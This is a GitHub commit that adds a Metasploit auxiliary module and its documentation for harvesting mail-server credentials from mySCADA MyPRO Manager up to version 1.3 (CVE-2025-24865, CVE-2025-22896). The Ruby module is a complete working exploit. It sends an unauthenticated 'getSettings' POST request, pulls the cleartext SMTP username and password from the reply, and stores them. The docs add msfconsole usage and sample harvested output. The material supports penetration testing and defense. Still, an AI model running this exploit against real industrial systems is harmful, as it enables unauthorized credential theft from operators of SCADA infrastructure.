Skip to content

Commit 576ff2f

Browse files
authored
Land #19878, MyScada MyPro Manager Credential Harverster Module
mySCADA MyPRO Manager Credential Harvester (CVE-2025-24865 & CVE-2025-22896) Module
2 parents 3487b48 + 0aad255 commit 576ff2f

File tree

2 files changed

+184
-0
lines changed

2 files changed

+184
-0
lines changed
Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
## Vulnerable Application
2+
3+
**Vulnerability Description**
4+
5+
This module exploits two vulnerabilities (CVE-2025-24865 & CVE-2025-22896) in mySCADA MyPRO Manager <= v1.3 to retrieve the configured
6+
credentials for the mail server.
7+
8+
The administrative web interface has certain features where credentials are required to be accessed, but the implementation is flawed,
9+
allowing to bypass the requirement. Other important administrative features do not require credentials at all, allowing an unauthenticated
10+
remote attacker to perform privileged actions. These issues are tracked through CVE-2025-24865.
11+
Another vulnerability, tracked through CVE-2025-22896, is related to the cleartext storage of various credentials by the application.
12+
13+
One way how these issues can be exploited is to allow an unauthenticated remote attacker to retrieve the cleartext credentials of the mail
14+
server that is configured by the product, which this module does.
15+
16+
Versions <= 1.3 are affected. CISA published [ICSA-25-044-16](https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16) to cover
17+
the security issues.
18+
19+
**Vulnerable Application Installation**
20+
21+
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/).
22+
23+
**Successfully tested on**
24+
25+
- mySCADA MyPRO Manager 1.3 on Windows 11 (22H2)
26+
27+
## Verification Steps
28+
29+
1. Install the application
30+
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed.
31+
3. Start `msfconsole` and run the following commands:
32+
33+
```
34+
msf6 > use auxiliary/admin/scada/mypro_mgr_creds
35+
msf6 auxiliary(admin/scada/mypro_mgr_creds) > set RHOSTS <IP>
36+
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run
37+
```
38+
39+
## Scenarios
40+
41+
Running the module against MyPRO Manager v1.3 on Windows 11, should result in an output similar to the
42+
following:
43+
44+
```
45+
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run
46+
[*] Running module against 192.168.1.78
47+
48+
[*] Running automatic check ("set AutoCheck false" to disable)
49+
[+] The target appears to be vulnerable.
50+
[+] Mail server credentials retrieved:
51+
[+] Host: smtp.example.com
52+
[+] Port: 993
53+
[+] Auth Type: login
54+
[+] User: user
55+
[+] Password: SuperS3cr3t!
56+
[*] Auxiliary module execution completed
57+
msf6 auxiliary(admin/scada/mypro_mgr_creds) > creds
58+
Credentials
59+
===========
60+
61+
host origin service public private realm private_type JtR Format cracked_password
62+
---- ------ ------- ------ ------- ----- ------------ ---------- ----------------
63+
192.168.1.78 192.168.1.78 34022/tcp (http) user SuperS3cr3t! Password
64+
```
Lines changed: 120 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,120 @@
1+
class MetasploitModule < Msf::Auxiliary
2+
include Msf::Exploit::Remote::HttpClient
3+
prepend Msf::Exploit::Remote::AutoCheck
4+
CheckCode = Exploit::CheckCode
5+
6+
def initialize(info = {})
7+
super(
8+
update_info(
9+
info,
10+
'Name' => 'mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)',
11+
'Description' => %q{
12+
Credential Harvester in MyPRO Manager <= v1.3 from mySCADA.
13+
The product suffers from a broken authentication vulnerability (CVE-2025-24865) for certain functions. One of them is the configuration page for notifications, which returns the cleartext credentials (CVE-2025-22896) before correctly veryfing that the associated request is coming from an authenticated and authorized entity.
14+
},
15+
'License' => MSF_LICENSE,
16+
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module
17+
'References' => [
18+
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16'],
19+
[ 'CVE', '2025-24865'],
20+
[ 'CVE', '2025-22896']
21+
],
22+
'DisclosureDate' => '2025-02-13',
23+
'DefaultOptions' => {
24+
'RPORT' => 34022,
25+
'SSL' => 'False'
26+
},
27+
'Platform' => 'win',
28+
'Arch' => [ ARCH_CMD ],
29+
'Targets' => [
30+
[
31+
'Windows_Fetch',
32+
{
33+
'Arch' => [ ARCH_CMD ],
34+
'Platform' => 'win',
35+
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' },
36+
'Type' => :win_fetch
37+
}
38+
]
39+
],
40+
'DefaultTarget' => 0,
41+
42+
'Notes' => {
43+
'Stability' => [CRASH_SAFE],
44+
'Reliability' => [REPEATABLE_SESSION],
45+
'SideEffects' => [IOC_IN_LOGS]
46+
}
47+
)
48+
)
49+
50+
register_options(
51+
[
52+
OptString.new(
53+
'TARGETURI',
54+
[ true, 'The URI for the MyPRO Manager web interface', '/' ]
55+
)
56+
]
57+
)
58+
end
59+
60+
def check
61+
begin
62+
res = send_request_cgi({
63+
'method' => 'GET',
64+
'uri' => normalize_uri(target_uri.path, 'assets/index-DBkpc6FO.js')
65+
})
66+
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
67+
return CheckCode::Unknown
68+
end
69+
70+
if res.to_s =~ /const S="([^"]+)"/
71+
version = ::Regexp.last_match(1)
72+
vprint_status('Version retrieved: ' + version)
73+
if Rex::Version.new(version) <= Rex::Version.new('1.3')
74+
return CheckCode::Appears
75+
end
76+
77+
return CheckCode::Safe
78+
end
79+
return CheckCode::Unknown
80+
end
81+
82+
def run
83+
post_data = {
84+
'command' => 'getSettings'
85+
}
86+
87+
res = send_request_cgi({
88+
'method' => 'POST',
89+
'ctype' => 'application/json',
90+
'data' => JSON.generate(post_data),
91+
'uri' => normalize_uri(target_uri.path, 'get')
92+
})
93+
94+
fail_with(Failure::Unknown, 'No response from server.') if res.nil?
95+
fail_with(Failure::UnexpectedReply, 'Non-200 returned from server.') if res.code != 200
96+
print_good('Mail server credentials retrieved:')
97+
data = res.get_json_document
98+
99+
if data.key?('smtp') && data['smtp'].is_a?(Hash)
100+
smtp_info = data['smtp']
101+
102+
host = smtp_info.fetch('host', 'Unknown Host')
103+
port = smtp_info.fetch('port', 'Unknown Port')
104+
auth = smtp_info.fetch('auth', 'Unknown Auth')
105+
user = smtp_info.fetch('user', 'Unknown User')
106+
passw = smtp_info.fetch('pass', 'Unknown Password')
107+
108+
print_good("Host: #{host}")
109+
print_good("Port: #{port}")
110+
print_good("Auth Type: #{auth}")
111+
print_good("User: #{user}")
112+
print_good("Password: #{passw}")
113+
114+
unless user == 'Unknown User' || passw == 'Unknown Password'
115+
store_valid_credential(user: user, private: passw, proof: data.to_s)
116+
end
117+
end
118+
end
119+
120+
end

0 commit comments

Comments
 (0)